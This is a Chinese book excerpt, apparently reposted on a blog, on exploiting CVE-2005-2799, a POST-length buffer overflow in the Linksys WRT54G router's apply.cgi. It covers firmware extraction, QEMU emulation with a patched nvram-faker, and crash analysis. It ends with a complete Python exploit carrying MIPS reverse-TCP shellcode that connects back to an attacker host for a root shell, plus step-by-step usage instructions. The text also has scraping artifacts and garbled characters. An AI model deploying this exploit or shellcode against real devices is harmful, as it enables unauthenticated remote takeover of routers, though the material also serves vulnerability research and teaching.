博文視點安全技術大系 · 2015/08/04 15:40html
本文節選自《揭祕家用路由器0day漏洞挖掘技術》,吳少華主編,王煒、趙旭編著,電子工業出版社 2015年8月出版。linux
本章實驗測試環境說明如表13-1所示。git
表13-1github
測試環境 | 備 注 | |
---|---|---|
操做系統 | Binwalk 2.0 | |
文件系統提取工具 | Ubuntu 12.04 | |
調試器 | IDA 6.1 | |
利用代碼解釋器 | Python 2.7 |
Linksys WRT54G是一款SOHO無線路由器,在功能、穩定性、雙天線信號覆蓋能力方面都獲得了用戶的承認。它還支持第三方固件,從而使其功能更增強大。很多用戶購買Linksys WRT54G路由器就是爲了刷第三方固件,使路由器具備可自由定製的功能。 Linksys WRT54G v2版本的路由器曝出過一個漏洞,CVE編號爲CVE-2005-2799。在Cisco官網(tools.cisco.com/security/ce…)能夠獲取以下圖所示的信息。 從漏洞的公告中咱們能夠看出,該漏洞存在於WRT54G路由器Web服務器程序HTTPD的apply.cgi處理腳本中,因爲對發送的POST請求沒有設置足夠的邊界與內容長度檢查,當未經認證的遠程攻擊者向路由器的apply.cgi頁面發送內容長度大於10 000字節的POST請求時,就能夠觸發緩衝區溢出。這個漏洞會容許未經認證的用戶在受影響的路由器上以root權限執行任意命令。 該漏洞被覆蓋的緩衝區並不在堆棧中,所以,在溢出後不會致使堆棧上的數據被覆蓋,而是直接覆蓋到漏洞程序的 .data段,這時對漏洞的利用方式就與以前不一樣了。在這種狀況下,控制溢出數據覆蓋 .extern段中的函數調用地址,劫持系統函數調用,是上上之選。該漏洞就是使用這種利用方式,並在劫持系統函數調用以後使漏洞程序執行前面章節中編寫的Reverse_tcp的Shellcode的。shell
硬件和軟件分析環境說明如表13-2所示。瀏覽器
表13-2安全
描述 | 備 注 | |
---|---|---|
型號 | WRT54G | Linksys |
硬件版本 | V2.2 | |
固件版本 | V4.00.7 | |
指令系統 | MIPSEL | 小端機格式 |
QEMU | 1.7.90 | 處理器模擬軟件 |
下面詳細分析一下這個漏洞產生的緣由和利用方法。bash
下載Linksys WRT54G路由器4.00.7版本的固件,下載連接爲download.pchome.net/ driver/net…,解壓縮後獲得固件WRT54GV3.1_4.00.7_US_ code.bin。 使用Binwalk將固件中的文件系統提取出來,以下圖所示。服務器
該漏洞的核心組件爲 /usr/sbin/httpd,以下圖所示。網絡
從漏洞公告中咱們已經知道,當路由器HTTPD的apply.cgi處理腳本接收長度大於10 000字節的POST請求時會觸發緩衝區溢出漏洞。該漏洞的測試POC以下。 源碼 wrt54g_test.py
1 import sys
2 import urllib2
3 try:
4 target = sys.argv[1]
5 except:
6 print "Usage: %s <target>" % sys.argv[0]
7 sys.exit(1)
8 url = "http://%s/apply.cgi" % target
9 buf = "\x42"*10000+"\x41"*0x4000 # POST parameter name
10 req = urllib2.Request(url, buf)
11 print urllib2.urlopen(req).read()
複製代碼
當咱們使用模擬器(QEMU)運行路由器中的應用程序(如這裏的Web服務器)時,常常會遇到一個問題——模擬器缺少硬件的模擬,致使程序沒法執行。而須要執行的Web服務器就是應用程序試圖採用NVRAM中的信息來配置參數,但因爲找不到設備致使了錯誤的發生。在路由器中,常見的NVRAM動態庫libnvram.so提供了nvram_get()
函數和nvram_set()
函數來獲取和設置配置參數。若是使用模擬器運行應用程序,會在調用nvram_get()
函數時失敗,致使應用程序沒法運行(由於模擬器中沒有NVRAM)。使用以下命令運行HTTPD,以下圖所示。
$ cp $(which qemu-mipsel) ./
$ chroot ./ ./qemu-mipsel ./usr/sbin/httpd
$ netstat -an|grep 80
複製代碼
在運行的過程當中能夠看到,程序報錯,提示找不到 /dev/nvram文件或目錄,且使用netstat命令查看當前系統開放的端口時沒有發現80端口,Web服務器啓動失敗。
使用zcutlip的一個nvram-faker來修復NVRAM。nvram-faker雖然是一個簡單的動態庫,但可使用LD_PRELOAD劫持libnvram庫中的函數調用。咱們只須要向一個ini的配置文件中寫入合理的NVRAM配置,就可使Web服務器程序運行。 nvram-faker的下載方法以下。
$ git clone https://github.com/zcutlip/nvram-faker.git
$ ls
arch.mk contrib nvram-faker.c nvram.ini
buildmipsel.sh LICENSE.txt nvram-faker.h README.md
buildmips.sh Makefile nvram-faker-internal.h
複製代碼
在nvram-faker中提供了劫持nvram_get() 函數的方法。爲了讓程序運行,還須要劫持一個函數,函數聲明以下。
char *get_mac_from_ip(const char*ip);
複製代碼
爲了方便使用IDA或者GDB調試,咱們把fork() 函數一併劫持,不然fork() 函數產生的多進程會讓調試過程異常複雜,函數聲明以下。
int fork(void); 綜上所述,咱們須要對nvram-faker進行如下修改。 01 打開nvram-faker.c,添加以下代碼。 1 int fork(void) 2 { 3 return 0; 4 } 5 char *get_mac_from_ip(const char*ip) 6 { 7 char mac[]="00:50:56:C0:00:08"; 8 char *rmac = strdup(mac); 9 return rmac; 10 } 代碼添加後如圖13-5所示。 02 修改nvram-faker.h頭文件,添加函數聲明以下。 char *get_mac_from_ip(const char*ip); int fork(void); 修改後以下圖所示。 03 保存全部文件,進入編譯環節。在 /nvram-faker目錄下有兩個Shell腳本:一個是buildmips.sh,即用於編譯大端機格式的動態庫;另外一個是buildmipsel.sh,即用於編譯小端機格式的動態庫。WRT54G路由器是小端機格式,因此這裏使用buildmipsel.sh進行編譯,命令以下。 [email protected]:~/nvram-faker/ $ sh buildmipsel.sh [email protected]:~/nvram-faker/ $ ls arch.mk ini.o nvram-faker.c nvram.ini buildmipsel.sh libnvram-faker.so nvram-faker.h README.md buildmips.sh LICENSE.txt nvram-faker-internal.h contrib Makefile nvram-faker.o 複製代碼
編譯好之後,會在 /nvram-faker目錄下生成一個名爲「libnvram-faker.so」的動態庫。將libnvram-faker.so和同目錄下的nvram.ini複製到WRT54G路由器的根文件系統中,示例以下。
[email protected]:~/nvram-faker/ $ cp libnvram-faker.so ../ _WRT54GV3.1_4.00.7_US_code.bin.extracted/squashfs-root/ [email protected]:~/nvram-faker/ $ cp nvram.ini ../_WRT54GV3.1_4.00.7_US_code.bin.extracted/squashfs-root/ [email protected]:~/_WRT54GV3.1_4.00.7_US_code.bin.extracted/squashfs-root/ $ ls bin etc libnvram-faker.so nvram.ini sbin usr www dev lib mnt proc tmp var 複製代碼
因爲libnvram-faker.so使用了共享庫編譯,因此咱們須要將mipsel-linux-gcc交叉編譯環境中lib庫下的libgcc_s.so.1複製到WRT54G路由器的根文件系統中,命令以下。
$ cp /opt/mipsel/output/target/lib/libgcc_s.so.1 ~/_WRT54GV3.1_4.00.7_US_code.bin.extracted/squashfs-root/lib
複製代碼
HTTPD在運行時須要對 /var目錄下的某些文件進行操做,而這些文件是在Linux啓動過程當中纔會產生的,所以,編寫以下prepare.sh腳本修改HTTPD執行環境。 源碼 prepare.sh
1 rm var
2 mkdir var
3 mkdir ./var/run
4 mkdir ./var/tmp
5 touch ./var/run/lock
6 touch ./var/run/crod.pid
7 touch httpd.pid
複製代碼
腳本run_cgi.sh提供了兩種方法執行HTTPD,一種是不須要調試器介入直接運行程序的執行模式,另外一種是開放1234調試接口等待調試器鏈接。在QEMU環境中模擬執行HTTPD時,使用LD_PRELOAD環境變量加載libnvram-faker.so劫持函數調用,修復因硬件缺失致使的運行錯誤。增長的HTTPD腳本文件內容以下。 源碼 run_cgi.sh
1 #!/bin/bash
2 DEBUG="$1"
3 LEN=$(echo "$DEBUG" | wc -c)
4 # usage: sh run_cgi.sh debug #debug mode
5 # sh run_cgi.sh #execute mode
6 cp $(which qemu-mipsel) ./
7 if [ "$LEN" -eq 1 ]
8 then
9 echo "EXECUTE MODE !\n"
10 sudo chroot ./ ./qemu-mipsel -E LD_PRELOAD="/libnvram-faker.so" ./usr/sbin/httpd
11 else
12 echo "DEBUG MODE !\n"
13 sudo chroot ./ ./qemu-mipsel -E LD_PRELOAD="/libnvram-faker.so" -g 1234 ./usr/sbin/httpd
14 rm qemu-mipsel
15 fi
複製代碼
測試和分析環境說明如表13-3所示。
IP地址 | |
---|---|
測試主機(Windows實體機) | 192.168.90.11 |
虛擬主機(VMware Ubuntu) | 192.168.230.136 |
虛擬網管(VMware) | 192.168.230.1 |
網絡拓撲以下圖所示。
運行prepare.sh腳本,修復HTTPD執行環境,命令以下。
$ sh prepare.sh
複製代碼
使用run_cgi.sh腳本調試模式執行HTTPD,等待調試器鏈接,命令以下。
$ sh run_cgi.sh debug
DEBUG MODE !
複製代碼
使用IDA加載HTTPD,進行遠程附加調試,按「F5」鍵直接運行HTTPD。待HTTPD服務開啓後,在Windows下運行測試腳本wrt54g-test.py,命令以下。
E:\>wrt54g_test.py 192.168.230.136
複製代碼
能夠看到,Ubuntu中的HTTPD程序已經崩潰了,現場如圖13-8所示。閱讀崩潰部分的代碼,發現程序但願將0寫入0x41419851(0x41414141+0x5710)處時形成錯誤。其緣由是:系統尋不到0x41419851這塊內存,而0x41414141是咱們發送的僞造數據,0x5710正好是僞造的POST參數的總長度。同時,咱們從崩潰現場還能知道,若是存在地址0x41414141+0x5710,那麼0x004112D0處會將地址0x41414141寫入寄存器 $t9,而且在0x00411208處控制程序執行流程。這裏的溢出數據已經把 .extern段的strlen函數地址覆蓋了。
從彙編代碼中能夠看到,崩潰現場在do_apply_post函數的代碼段中。從命名上能夠知道,該函數的功能是處理apply的POST參數,正與漏洞公告中描述的同樣。 下面,咱們看一下崩潰現場附近的代碼,分析形成漏洞的真正緣由,以下圖所示。
在do_apply_post函數偏移0x3C處的僞代碼以下。
1 wreadlen = wfread(post_buf,1,content-length,fhandle);
2 if(wreadlen)
3 strlen(post_buf);
複製代碼
讀取長度爲content-length的全部POST數據到post_buf,若是讀取的POST數據長度不爲0,就計算post_buf中數據的長度。 這裏的content-length是POST參數的長度,在調用do_apply_post函數時並無進行校驗,而該長度在使用讀取數據進入內存時也沒有進行校驗就直接讀取了POST參數,所以致使了緩衝區溢出。 咱們再看看產生緩衝區溢出的內存post_buf的位置。能夠看到,post_buf位於HTTPD的 .data段中,以下圖所示。在應用程序中,.data段用於存放已初始化的全局變量,這裏的post_buf大小爲0x2710字節(10 000字節)。
如今咱們已經弄清楚了漏洞的原理。該漏洞在接收超過10 000字節的來自攻擊者僞造的數據包時,因爲在do_apply_post函數調用先後沒有驗證POST數據的長度,而在do_apply_post函數中使用了自定義的wfread() 函數,並調用了fread() 系統函數,直接將僞造的超長POST數據所有複製到大小爲10 000字節的全局變量post_buf中,因此致使了緩衝區溢出。
下面介紹一下該漏洞的利用方式。
在漏洞分析中咱們發現,該漏洞有一個特徵,就是緩衝區溢出的數據覆蓋 .data段中的全局變量。仔細分析可以發如今 .data段後面有如下段,以下圖所示。
由於這些段是連續的而且可寫入,因此咱們考慮經過do_apply_post函數的漏洞使溢出數據連續覆蓋 .data後面的多個段,直到將 .extern段中的strlen函數地址覆蓋,這樣,咱們就能夠在wfread函數覆蓋內存之後,在調用strlen函數時將執行流程劫持並執行任意地址的代碼,以下圖所示。
在這裏,只要填充0x2F32(0x1000D7A0 - 0x10001AD8)字節的數據,就能夠將原來的strlen調用位置填充爲任意地址,並控制執行流程。可是,爲了利用的穩定性和通用性,這裏選擇將strlen以後的一段數據一併覆蓋,利用方法以下圖所示。 在post_buf中填充NOP指令及Shellcode,將post_buf以後總共0x4000字節的數據所有覆蓋爲post_buf首地址,使佈置的緩衝區老是可以覆蓋strlen函數地址,strlen指向post_buf,如此一來,原來執行strlen的地方都會跳轉到post_buf首地址去執行。這樣就能夠保證wfread() 函數佈置完緩衝區之後,在0x004112D8處執行strlen函數時會被劫持到post_buf頭部去執行咱們的Shellcode了。
在完成了ROP的構造之後,編寫以下代碼與路由器進行交互,實現漏洞利用。 源碼 wrt54g_POC.py
1 import sys
2 import struct,socket
3 import urllib2
4 def makepayload(host,port):
5 print '[*] prepare shellcode',
6 hosts = struct.unpack('<cccc',struct.pack('<L',host))
7 ports = struct.unpack('<cccc',struct.pack('<L',port))
8 mipselshell ="\xfa\xff\x0f\x24" # li t7,-6
9 mipselshell+="\x27\x78\xe0\x01" # nor t7,t7,zero
10 mipselshell+="\xfd\xff\xe4\x21" # addi a0,t7,-3
11 mipselshell+="\xfd\xff\xe5\x21" # addi a1,t7,-3
12 mipselshell+="\xff\xff\x06\x28" # slti a2,zero,-1
13 mipselshell+="\x57\x10\x02\x24" # li v0,4183 # sys_socket
14 mipselshell+="\x0c\x01\x01\x01" # syscall 0x40404
15 mipselshell+="\xff\xff\xa2\xaf" # sw v0,-1(sp)
16 mipselshell+="\xff\xff\xa4\x8f" # lw a0,-1(sp)
17 mipselshell+="\xfd\xff\x0f\x34" # li t7,0xfffd
18 mipselshell+="\x27\x78\xe0\x01" # nor t7,t7,zero
19 mipselshell+="\xe2\xff\xaf\xaf" # sw t7,-30(sp)
20 mipselshell+=struct.pack('<2c',ports[1],ports[0]) + "\x0e\x3c" # lui t6,0x1f90
21 mipselshell+=struct.pack('<2c',ports[1],ports[0]) + "\xce\x35" # ori t6,t6,0x1f90
22 mipselshell+="\xe4\xff\xae\xaf" # sw t6,-28(sp)
23 mipselshell+=struct.pack('<2c',hosts[1],hosts[0]) + "\x0e\x3c" # lui t6,0x7f01
24 mipselshell+=struct.pack('<2c',hosts[3],hosts[2]) + "\xce\x35" # ori t6,t6,0x101
25 mipselshell+="\xe6\xff\xae\xaf" # sw t6,-26(sp)
26 mipselshell+="\xe2\xff\xa5\x27" # addiu a1,sp,-30
27 mipselshell+="\xef\xff\x0c\x24" # li t4,-17
28 mipselshell+="\x27\x30\x80\x01" # nor a2,t4,zero
29 mipselshell+="\x4a\x10\x02\x24" # li v0,4170 # sys_connect
30 mipselshell+="\x0c\x01\x01\x01" # syscall 0x40404
31 mipselshell+="\xfd\xff\x11\x24" # li s1,-3
32 mipselshell+="\x27\x88\x20\x02" # nor s1,s1,zero
33 mipselshell+="\xff\xff\xa4\x8f" # lw a0,-1(sp)
34 mipselshell+="\x21\x28\x20\x02" # move a1,s1 # dup2_loop
35 mipselshell+="\xdf\x0f\x02\x24" # li v0,4063 # sys_dup2
36 mipselshell+="\x0c\x01\x01\x01" # syscall 0x40404
37 mipselshell+="\xff\xff\x10\x24" # li s0,-1
38 mipselshell+="\xff\xff\x31\x22" # addi s1,s1,-1
39 mipselshell+="\xfa\xff\x30\x16" # bne s1,s0,68 <dup2_loop>
40 mipselshell+="\xff\xff\x06\x28" # slti a2,zero,-1
41 mipselshell+="\x62\x69\x0f\x3c" # lui t7,0x2f2f "bi"
42 mipselshell+="\x2f\x2f\xef\x35" # ori t7,t7,0x6269 "//"
43 mipselshell+="\xec\xff\xaf\xaf" # sw t7,-20(sp)
44 mipselshell+="\x73\x68\x0e\x3c" # lui t6,0x6e2f "sh"
45 mipselshell+="\x6e\x2f\xce\x35" # ori t6,t6,0x7368 "n/"
46 mipselshell+="\xf0\xff\xae\xaf" # sw t6,-16(sp)
47 mipselshell+="\xf4\xff\xa0\xaf" # sw zero,-12(sp)
48 mipselshell+="\xec\xff\xa4\x27" # addiu a0,sp,-20
49 mipselshell+="\xf8\xff\xa4\xaf" # sw a0,-8(sp)
50 mipselshell+="\xfc\xff\xa0\xaf" # sw zero,-4(sp)
51 mipselshell+="\xf8\xff\xa5\x27" # addiu a1,sp,-8
52 mipselshell+="\xab\x0f\x02\x24" # li v0,4011 # sys_execve
53 mipselshell+="\x0c\x01\x01\x01" # syscall 0x40404
54 print 'ending ...'
55 return mipselshell
56 try:
57 target = sys.argv[1]
58 except:
59 print "Usage: %s <target>" % sys.argv[0]
60 sys.exit(1)
61 url = "http://%s/apply.cgi" % target
62 #ip='192.168.230.136'
63 sip='192.168.1.100' #reverse_tcp local_ip
64 sport = 4444 #reverse_tcp local_port
65 DataSegSize = 0x4000
66 host=socket.ntohl(struct.unpack('<I',socket.inet_aton(sip))[0])
67 payload = makepayload(host,sport)
68 addr = struct.pack("<L",0x10001AD8)
69 DataSegSize = 0x4000
70 buf = "\x00"*(10000-len(payload))+payload+addr*(DataSegSize/4)
71 req = urllib2.Request(url, buf)
72 print urllib2.urlopen(req).read()
複製代碼
01 打開網頁,訪問網關(路由器)。網關是192.168.1.1,瀏覽器訪問192.168.1.1,登陸WRT54G路由器,在首頁上能夠看到當前路由器的型號和固件版本。
02 使用nc命令在192.168.1.100上打開4444端口監聽,命令爲「nc -lp 4444」。
03 執行測試腳本,命令爲「wrt54g_POC.py 192.168.1.1」。
04 執行任意命令。
複製代碼
整個過程以下圖所示。
登陸路由器之後,就可使用命令對路由器進行控制,並查看路由器CPU的信息了。